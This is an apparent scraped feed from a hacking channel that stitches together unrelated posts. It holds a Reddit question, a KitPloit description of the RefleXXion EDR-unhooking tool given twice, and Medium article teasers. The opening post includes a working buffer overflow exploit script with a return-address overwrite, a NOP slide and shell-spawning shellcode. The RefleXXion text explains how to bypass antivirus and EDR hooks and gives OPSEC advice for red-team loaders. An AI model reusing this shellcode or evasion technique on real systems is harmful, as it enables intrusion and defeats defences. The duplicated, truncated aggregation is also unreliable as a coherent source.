hacking: security in practice
Buffer overflow shellcode works in GDB but segmentation fault when ran without gdb.

I'm trying to implement a buffer overflow attack and get the shell access. For generating the exploited input my python file is as follows:

import struct
padding = "A"*160
eip = struct.pack("I", 0xffffcd70)
nopslide = "\x90"*100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopslide+payload

Let's say, I store the output of the python script in a file named exp.

Now, when I run the vulnerable program in gdb, with r < exp, I get

process 190136 is executing new program: /usr/bin/dash

[Inferior 1 (process 190136) exited normally]

But when, I run the program without gdb, for e.g. like pythonexploit.py| ./vulnI get a segmentation fault.

Any clues on what I'm doing wrong, and why the program works in gdb but not without it.

submitted by /u/reddotname
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

RefleXXion - A Utility Designed To Aid In Bypassing User-Mode Hooks Utilised By AV/EPP/EDR Etc
http://www.kitploit.com/2022/03/reflexxion-utility-designed-to-aid-in.html

___________________________
@hacking_Attack
@Hacking_Video

Introduction RefleXXion is a utility designed to aid in bypassing (https://www.kitploit.com/search/label/Bypassing) user-mode hooks utilised by AV/EPP/EDR etc. In order to bypass the user-mode hooks, it first collects the syscall numbers of the NtOpenFile, NtCreateSection, NtOpenSection and NtMapViewOfSection found in the LdrpThunkSignature array. After that, there are two techniques that the user can choose to bypass the user-mode hooks.
Technique-1, reads the NTDLL as a file from C:\Windows\System32\ntdll.dll. After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory (https://www.kitploit.com/search/label/Memory) is replaced with the .TEXT section of the clean NTDLL. In Technique-2, NTDLL reads as Section from KnownDlls, \KnownDlls\ntdll.dll. (beacuse DLL (https://www.kitploit.com/search/label/DLL) files are cached in KnownDlls as Section.) After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL. The detailed flow of the methodology and all techniques is given below.

___________________________
@hacking_Attack
@Hacking_Video

How to Use You can open and compile the project with Visual Studio. The whole project supports x64 architecture for both Debug and Release modes. The RefleXXion-EXE solution generates the EXE for PoC purpose. If you want to understand how the project works step by step, it will make your job easier. Main function contains Technique1 and Technique2 functions definations. Comment one of them and compile. Do not use both functions at the same time. The RefleXXion-DLL solution generates the DLL that you inject into the process you want to bypass the user-mode hooks for NTDLL. At the beginning of the main.cpp file, there are definitions of which technique to use. You can choose one of them and compile it. Do not set all values at the same time, set only the one technique you want. Example configuration is given below. // Techniques configuration section
#define FROM_DISK 1 // If you set it to 1, the Technique-1 will be used. For more information; https://github.com/hlldz/RefleXXion
#define FROM_KNOWNDLLS 0 // If you set it to 1, the Technique-2 will be used. For more information; https://github.com/hlldz/RefleXXion Operational Usage Notes & OPSEC Concerns RefleXXion currently is only supports for x64 architecture. RefleXXion only unhooks NTDLL functions, you may need to unhook other DLLs (kernel32.dll, advapi32.dll etc.) as well. For this, you can easily edit the necessary places in the project. The RefleXXion only uses the RWX memory region when overwriting the .TEXT section process starts. For this process a new memory reginon is not created, the existing memory region (the TEXT section of the NTDLL that is already loaded) is RWXed and then converted to RX. ULONG oldProtection;
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy()...
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection); P.S. The RefleXXion invokes the NtProtectVirtualMemory API over the cleanly installed NTDLL. It uses the CustomGetProcAddress function for this because the clean NTDLL is not in the InLoadOrderModuleList even though it is loaded into memory. So a solution like here (https://stackoverflow.com/questions/6734095/how-to-get-module-handle-from-func-ptr-in-win32) will not work. That's why the custom GetProcAddress function exists and is used. You can load RefleXXion DLL from disk to target process. You may not prefer a run like this for sensitive work such as a Red Team (https://www.kitploit.com/search/label/Red%20Team) operation. Therefore, you can convert the RefleXXion DLL to shellcode using the sRDI (https://www.kitploit.com/search/label/sRDI) project or integrate the RefleXXion code into your own loader or project. Even if NTDLL (as file or as section) is reloaded to the injected process, it does not remain loaded. RefleXXion close all opened handles (file & section handles) for own processes. Special Thanks & Credits Research & PoC for collecting clean system calls with LdrpThunkSignature by Peter Winter-Smith, @peterwintrsmith (https://twitter.com/peterwintrsmith). EDR Parallel-asis through Analysis, https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/ Windows 10 Parallel Loading Breakdown by Jeffrey Tang. https://blogs.blackberry.com/en/2017/10/windows-10-parallel-loading-breakdown https://stackoverflow.com/questions/42789199/why-there-are-three-unexpected-worker-threads-when-a-win32-console-application-s Shellycoat by Upayan, @slaeryan (https://twitter.com/slaeryan). https://github.com/slaeryan/AQUARMOURY/tree/master/Shellycoat

Download RefleXXion (https://github.com/hlldz/RefleXXion)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The 7 Penetration Testing Steps & Phases: a Checklist

7 Steps and Phases of Penetration Testing

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nmap Cheat Sheet

Full nmap cheat sheet with example.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Who Polices the Police?

https://cdn-images-1.medium.com/max/1920/1*RneTDGC1TxmPVUlna2WjCg.jpeg
And who validates Kaspersky anti-virus software?

Continue reading on The Shortform »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Article of the Day: Getting into the mind of a Hacker

https://cdn-images-1.medium.com/max/600/1*pWGJXP4Asec0cWobY0UtsQ.jpeg
The Internet’s Most Tempting Targets — David Wolpoff, ThreatPost, 1/21/2022

Continue reading on Hybrid Analyst »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
My journey to become a Cyber Security Penetration Tester.

https://cdn-images-1.medium.com/max/824/1*6lhVKJfHxXLL4eXwLefAiQ.png
I will fill this out later, busy hacking CTF’s on TryHackMe.com right now!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hack to reveal stored passwords on any browser

https://cdn-images-1.medium.com/max/850/1*9gPeYlr7ZeF5tl87kgQE9g.png
We all have come across masked passwords at the time of login to any website. But did you know, there exists a simple hack to reveal this…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Backdoor HTB Walkthrough

https://cdn-images-1.medium.com/max/692/0*vb8Xl9kknzR3W6Kv
Pentest Metodolojisi

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to keep an SSH connection when establishing an OpenVPN connection on a VPS server

https://cdn-images-1.medium.com/max/2600/1*dpWnelmmdCalVRtcf1k5fQ.jpeg
The issue

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
‘Brazen’ Lapsus$ ransomware group menaces Big Tech

https://cdn-images-1.medium.com/max/2500/1*B-Pw4y2eVGt_qh8FXXbkjw.png
Recent data breaches at NVIDIA, Samsung and Ubisoft have brought a new cybercrime group to light: Lapsus$. Here’s what we know about the…

Continue reading on README_ »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Writeup : Challenge-5

https://cdn-images-1.medium.com/max/2600/1*KWZTf0L8kmI2KxKzMHBeyQ.png
This is the writeup for Challenge-5 of weekly challenges made by SecurityLabs. Follow us on twitter to be for latest challenges.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Pentesting game cannot remember name.
https://www.reddit.com/r/Pentesting/comments/tft4jm/pentesting_game_cannot_remember_name/

Long time ago I use sto play some pentesting game over ssh, were you need to do some privilege escalation to get the ssh password for the next level. It was based in levels and with C programs sourcecode to edit . submitted by /u/pucyta (https://www.reddit.com/user/pucyta)
[link] (https://www.reddit.com/r/Pentesting/comments/tft4jm/pentesting_game_cannot_remember_name/) [comments] (https://www.reddit.com/r/Pentesting/comments/tft4jm/pentesting_game_cannot_remember_name/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
RefleXXion - A Utility Designed To Aid In Bypassing User-Mode Hooks Utilised By AV/EPP/EDR Etc

https://blogger.googleusercontent.com/img/a/AVvXsEiZXQO4yXgWyvIrcgJyLEj07jeVp1034eERhXSx9bywRBaybCmX9NeMdR9eKR9TyVhvDAXPgfPaonwHxkuFfGfgzDJRUzdW_fFpVY3xQAJ85lOHd0V0O5Ba2czlKwS97iqmX45LkgaCKtAZEcO3qRnbVzrzmMtvs3Cpki_5sQjKjscrX-tuSXzSngyw=w640-h208 IntroductionRefleXXion is a utility designed to aid in bypassing user-mode hooks utilised by AV/EPP/EDR etc. In order to bypass the user-mode hooks, it first collects the syscall numbers of the NtOpenFile, NtCreateSection, NtOpenSection and NtMapViewOfSection found in the LdrpThunkSignature array. After that, there are two techniques that the user can choose to bypass the user-mode hooks.
Technique-1, reads the NTDLL as a file from C:\Windows\System32\ntdll.dll. After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL.

In Technique-2, NTDLL reads as Section from KnownDlls, \KnownDlls\ntdll.dll. (beacuse DLL files are cached in KnownDlls as Section.) After parsing, the .TEXT section of the already loaded NTDLL (where the hooks are performed) in memory is replaced with the .TEXT section of the clean NTDLL.

The detailed flow of the methodology and all techniques is given below. https://blogger.googleusercontent.com/img/a/AVvXsEhWJBdHkXQWBpa-8dXdlzlh19GBgKkDvoobwm9_2wjBB2kMJhr2VpzTc2LvDU_6R4Sg_VldfoJPSSs8Eq3ELyJOle5eaTvdbuadHPdT8gOusJbWJnL4xO9MOxyhs5N6mhiCPVjNKFlt2ldSFSiPgpOvRv7rq_1hY5eRqHud021kj9SVNXqlNvun6OJW=w624-h640 How to UseYou can open and compile the project with Visual Studio. The whole project supports x64 architecture for both Debug and Release modes.

The RefleXXion-EXE solution generates the EXE for PoC purpose. If you want to understand how the project works step by step, it will make your job easier. Main function contains Technique1 and Technique2 functions definations. Comment one of them and compile. Do not use both functions at the same time.

The RefleXXion-DLL solution generates the DLL that you inject into the process you want to bypass the user-mode hooks for NTDLL. At the beginning of the main.cppfile, there are definitions of which technique to use. You can choose one of them and compile it. Do not set all values at the same time, set only the one technique you want. Example configuration is given below. // Techniques configuration section
#define FROM_DISK 1 // If you set it to 1, the Technique-1 will be used. For more information; https://github.com/hlldz/RefleXXion
#define FROM_KNOWNDLLS 0 // If you set it to 1, the Technique-2 will be used. For more information; https://github.com/hlldz/RefleXXionOperational Usage Notes & OPSEC Concerns*
RefleXXion currently is only supports for x64 architecture.

*
RefleXXion only unhooks NTDLL functions, you may need to unhook other DLLs (kernel32.dll, advapi32.dll etc.) as well. For this, you can easily edit the necessary places in the project.

*
The RefleXXion only uses the RWX memory region when overwriting the .TEXT section process starts. For this process a new memory reginon is not created, the existing memory region (the TEXT section of the NTDLL that is already loaded) is RWXed and then converted to RX. ULONG oldProtection;
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy()...
ntStatus = NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, oldProtection, &oldProtection);P.S. The RefleXXion invokes the NtProtectVirtualMemory API over the cleanly installed NTDLL. It uses the CustomGetProcAddress function for this because the clean NTDLL is not in the InLoadOrderModuleList even though it is[...]

___________________________
@hacking_Attack
@Hacking_Video

loaded into memory. So a solution like here (https://stackoverflow.com/questions/6734095/how-to-get-module-handle-from-func-ptr-in-win32) will not work. That's why the custom GetProcAddress function exists and is used.

*
You can load RefleXXion DLL from disk to target process. You may not prefer a run like this for sensitive work such as a Red Team operation. Therefore, you can convert the RefleXXion DLL to shellcode using the sRDI project or integrate the RefleXXion code into your own loader or project.

*
Even if NTDLL (as file or as section) is reloaded to the injected process, it does not remain loaded. RefleXXion close all opened handles (file & section handles) for own processes. Special Thanks & Credits* Research & PoC for collecting clean system calls with LdrpThunkSignature by Peter Winter-Smith, @peterwintrsmith. EDR Parallel-asis through Analysis, https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/
* Windows 10 Parallel Loading Breakdown by Jeffrey Tang. https://blogs.blackberry.com/en/2017/10/windows-10-parallel-loading-breakdown
* https://stackoverflow.com/questions/42789199/why-there-are-three-unexpected-worker-threads-when-a-win32-console-application-s
* Shellycoat by Upayan, @slaeryan. https://github.com/slaeryan/AQUARMOURY/tree/master/Shellycoat Download RefleXXion

___________________________
@hacking_Attack
@Hacking_Video

X-XSS-Protection headers. Protection or vulnerability?

What is it?Continue reading on Medium »
Read more...